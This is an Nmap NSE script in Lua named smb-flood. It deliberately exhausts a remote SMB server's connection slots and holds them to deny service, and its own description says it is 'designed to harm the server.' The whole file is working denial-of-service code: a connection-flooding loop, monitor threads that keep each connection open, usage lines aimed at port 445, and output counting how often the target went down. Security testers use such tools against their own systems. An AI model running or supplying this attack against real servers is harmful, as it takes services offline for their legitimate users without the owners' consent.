1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
|
local smb = require "smb"
local stdnse = require "stdnse"
local string = require "string"
local nmap = require "nmap"
local coroutine = require "coroutine"
local datetime = require "datetime"
description = [[
Exhausts a remote SMB server's connection limit by by opening as many
connections as we can. Most implementations of SMB have a hard global
limit of 11 connections for user accounts and 10 connections for
anonymous. Once that limit is reached, further connections are
denied. This script exploits that limit by taking up all the
connections and holding them.
This works better with a valid user account, because Windows reserves
one slot for valid users. So, no matter how many anonymous connections
are taking up spaces, a single valid user can still log in.
This is *not* recommended as a general purpose script, because a) it
is designed to harm the server and has no useful output, and b) it
never ends (until timeout).
]]
---
-- @usage
-- nmap --script smb-flood.nse -p445 <host>
-- sudo nmap -sU -sS --script smb-flood.nse -p U:137,T:139 <host>
--
-- @args smb-flood.timelimit The amount of time the script should run.
-- Default: 30m
--
-- @output
-- Target down 30 times in 1m.
-- 320 connections made, 11 max concurrent connections.
-- 10 connections on average required to deny service.
author = "Ron Bowes"
copyright = "Ron Bowes"
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
categories = {"intrusive","dos"}
dependencies = {"smb-brute"}
local time_limit, arg_error = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME .. '.timelimit') or '30m')
hostrule = function(host)
if not time_limit then
stdnse.verbose("Invalid timelimit: %s", arg_error)
return false
end
return smb.get_port(host) ~= nil
end
local State = {
new = function (self, host)
local now = nmap.clock()
local o = {
host = host,
start_time = now,
end_time = time_limit + now,
threads = {},
count = 0, -- current number of connections
num_dead = 0, -- number of times connect failed
max = 0, -- highest number of connections sustained
total = 0, -- total number of connections established
avg = 0, -- average number of connections required to DoS
terminate = false,
}
o.condvar = nmap.condvar(o)
setmetatable(o, self)
self.__index = self
return o
end,
timedout = function (self)
return nmap.clock() >= self.end_time
end,
go = function(self)
while not self.timedout() do
local status, smbstate = smb.start_ex(self.host, true, true)
if status then -- Success, spawn a thread to watch this one.
self.count = self.count + 1
self.total = self.total + 1
local co = stdnse.new_thread(self.smb_monitor, self, smbstate)
self.threads[co] = true
else -- Failed to connect; target dead? sleep.
self.num_dead = self.num_dead + 1
if self.count > self.max then
self.max = self.count
end
self.avg = self.avg + (self.count - self.avg) / self.num_dead
stdnse.debug1("SMB connect failed: %s", smbstate)
stdnse.sleep(1)
end
self.reap_threads()
end
-- Timed out. Wait for the threads to finish.
self.terminate = true
while next(self.threads) do
self.condvar("wait")
self.reap_threads()
end
end,
reap_threads = function(self)
for t in pairs(self.threads) do
if coroutine.status(t) == "dead" then
self.count = self.count - 1
self.threads[t] = nil
end
end
end,
smb_monitor = function(self, smbstate)
while not self.terminate do
-- Try to read from the connection so that we get notified if it is closed by the server.
local status, result = smb.smb_read(smbstate, false)
if not status and not string.match(result, "TIMEOUT") then
break
end
end
smb.stop(smbstate)
self.condvar("signal")
end,
report = function(self)
return ("Target down %d times in %s.\n"
.. "%d connections made, %d max concurrent connections.\n"
.. "%d connections on average required to deny service."):format(
self.num_dead, datetime.format_time(self.end_time - self.start_time),
self.total, self.max, self.avg)
end
}
action = function(host)
local state = State:new(host)
state.go()
return state.report()
end
|